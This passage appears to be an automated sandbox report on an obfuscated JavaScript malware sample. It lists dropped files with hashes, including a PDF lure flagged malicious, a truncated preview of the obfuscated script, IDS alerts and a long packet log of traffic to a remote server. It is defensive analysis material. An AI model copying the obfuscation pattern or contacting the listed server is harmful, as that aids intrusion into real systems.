SHA-512:	E11048B0B5D82D9015F93C9AB36AE4FC2ED72ABE50B27FC982962C9135E5B4EBB90FFD0D555265FBE405AC711D5D44D8B6A658BF9883D017C1E5F53C6CC8EDF8
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\c7fc7d00-00b0-433f-bc5a-7835f3212e94.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/35ZwYIGNPtdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07WWL07oYGZd:hZwZGD3mlind9i4ufFXpAXkrfUs0qWLH
MD5:	6951AF548747F3C7A25299507C1DE01C
SHA1:	BD5BC3BF94A3BEFA7B93CAF6C8DAFFD81BA9C897
SHA-256:	D9705C6F74E01C75A7BBB0555D4792EA58899D6B746AE9EE5B8423F228EB02EE
SHA-512:	B26DFF3CDD96AD62D4A65A1937DE4907D2F3CFB1E9A6069B42B833B1162C30844E083CD5D1FDDD75B0E7DE4F23930A9C1677F874CF6BAD279140D6B11AFA4356
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\e6f071ee-568a-44f4-93e6-9521ffa5bd15.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17078), with CRLF line terminators
Entropy (8bit):	4.923130538430653
TrID:
File name:	16529230753138817875.js
File size:	20'472 bytes
MD5:	3f9e5703698c9710aeda33e79d03c393
SHA1:	b63c3bce754544bdda25fd2fc85b146ec4e93b04
SHA256:	941224dfdd46f87ab2702df853febf03fa949127c0aaf2aa5c95a12fa1071e23
SHA512:	753921288e2e323d71f121f4e30a8a2338aff30706a489bd24d2285d57b057eb9f4cc5eb2afbf2b2c8a4cb830a47eec0584b2cb51ab6dfbf0b0c8c6efff4c09f
SSDEEP:	192:N9CE0kECnKL5Q7dMOolRVVZUpWhyJ2FuzVhY3J/JgsyItUx1u36dxkSHFuhukn:Gbp54d8VVqpWhY36ttS1u3YxkS8hukn
TLSH:	7A92524CC5D7DBA68BE8ADF95CDC28F333A200C58A58A1AAAC1514D427488753EF32F5
File Content Preview:	function nnvyhtpjj(){jacmzqp=[1031,3079,5127,4103,2055,3072];var xesdy=this[ubidx+ehgqi+clemjds+dmljj+ougqslcw+devgrcv+ltmdmsfgn+kpncyt](this[mxeiy+vigdemrnl+zhuowvq+clemjds+gnjvf+ubidx+kpncyt][crmjns+clemjds+ougqslcw+ehgqi+kpncyt+ougqslcw+bohqoe+xutfn+to

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T22:50:36.654376+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.9	49765	193.143.1.205	80	TCP
2025-01-10T22:50:39.957093+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.9	49788	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 22:50:35.840497017 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:35.845345974 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:35.845808983 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:35.848994970 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:35.853773117 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.654270887 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.654285908 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.654299021 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.654376030 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:36.654402018 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.654413939 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.654424906 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.654465914 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:36.654465914 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:36.654481888 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.654495001 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.654506922 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.654520035 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.654556036 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:36.654706001 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:36.659220934 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.659235001 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.659305096 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:36.699965954 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.699980021 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.700067043 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:36.775983095 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.775995970 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.776144028 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:36.776190042 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.776201010 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.776274920 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:36.776355982 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.776369095 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.776381969 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.776405096 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.776407957 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:36.776417017 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.776489973 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:36.777193069 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.777236938 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.777245045 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:36.777250051 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.777293921 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:36.777327061 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.777339935 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.777411938 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:36.778203964 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.778211117 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.778223991 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.778238058 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.778249025 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.778259039 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:36.778352976 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:36.779012918 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.779067039 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.779067039 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:36.779079914 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.779108047 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.779124975 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:36.832170010 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:36.834631920 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.834659100 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.834671974 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.834717989 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:36.868318081 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.868493080 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:36.898067951 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.898091078 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.898103952 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.898180962 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:36.898186922 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.898241043 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:36.898256063 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.898269892 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.898313999 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.898327112 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.898366928 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:36.898366928 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:36.898802996 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.898816109 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.898829937 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.899094105 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.899131060 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:36.899131060 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:36.899152994 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.899166107 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.899213076 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:36.899286032 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.899300098 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.899317980 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.899333000 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.899338007 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:36.899374008 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:36.899974108 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.899986029 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.899998903 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.900031090 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:36.900083065 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.900156021 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.900167942 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.900182009 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.900193930 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:36.900213957 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:36.900923014 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.900935888 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.900949001 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.900964022 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:36.900991917 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:36.901007891 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.901020050 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.901041031 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.901055098 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.901076078 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:36.901103020 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:36.901830912 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.901844978 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.901858091 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.901880026 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.901891947 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.901899099 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:36.901904106 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.901927948 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:36.901928902 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.901953936 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:36.902654886 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.902668953 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.902724028 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:36.926991940 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.927007914 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.927020073 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.927031994 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.927099943 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:36.927165031 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:36.943846941 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.943859100 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.943898916 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:36.960656881 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.960731983 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:36.960748911 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.960762024 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.960856915 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:36.990673065 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.990691900 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:36.990742922 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.020023108 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.020039082 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.020061016 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.020072937 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.020083904 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.020104885 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.020107031 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.020117044 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.020163059 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.020163059 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.020232916 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.020246029 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.020272970 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.020324945 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.020380974 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.020394087 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.020447016 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.020447016 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.020483017 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.020514011 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.020533085 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.020654917 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.020802021 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.020860910 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.020875931 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.020880938 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.020925999 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.020937920 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.020944118 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.020950079 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.020984888 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.021105051 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.021116972 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.021130085 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.021142006 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.021152973 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.021173954 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.021173954 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.021210909 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.021615028 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.021733046 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.021744013 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.021845102 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.021862030 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.021887064 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.021905899 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.021919966 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.021939039 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.021972895 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.022025108 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.022037029 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.022048950 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.022067070 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.022099018 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.022190094 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.022217035 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.022229910 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.022241116 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.022262096 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.022284985 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.022284985 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.022840023 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.022871017 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.022883892 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.022913933 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.022913933 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.022974014 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.022985935 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.023015022 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.023113012 CET	80	49765	193.143.1.205	192.168.2.9
